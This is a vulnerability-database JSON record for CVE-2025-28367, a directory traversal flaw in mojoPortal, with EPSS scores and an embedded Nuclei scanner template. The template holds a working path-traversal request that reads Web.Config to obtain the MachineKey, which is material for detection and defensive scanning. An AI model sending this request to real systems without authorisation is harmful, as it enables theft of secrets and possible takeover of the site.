{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-28367/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-28367/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-28367/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-28367/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-28367/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-28367"},"sightings":{"href":"/api/v1/sightings/cve-2025-28367"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01937,"kev":false,"percentile":0.79203},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-28367.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-28367\n\ninfo:\n  name: mojoPortal <=2.9.0.1 - Directory Traversal\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    mojoPortal <=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n  impact: |\n    Unauthenticated attackers can exploit directory traversal to read the Web.Config file and obtain the MachineKey, potentially leading to authentication bypass and remote code execution.\n  remediation: |\n    Upgrade to mojoPortal version 2.9.0.2 or later that properly validates file paths in the BetterImageGallery API.\n  reference:\n    - https://github.com/i7MEDIA/mojoportal\n    - https://www.0xlanks.me/blog/cve-2025-28367-advisory/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-28367\n  classification:\n    epss-score: 0.01937\n    epss-percentile: 0.79203\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2025-28367\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: app=\"mojoportal\"\n  tags: cve,cve2025,mojoportal,lfi,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/BetterImageGallery/imagehandler?path=../../../Web.Config\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<machineKey\"\n          - \"<system.web>\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204471e9b0618672e00e779da18c5765aff6965d561a48f42fe69a0d9aa0eeb7f2022100b2c74b2fa44b677749ecf31b659205e3c30277092df083bccd7442995b673ab2:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-28367"}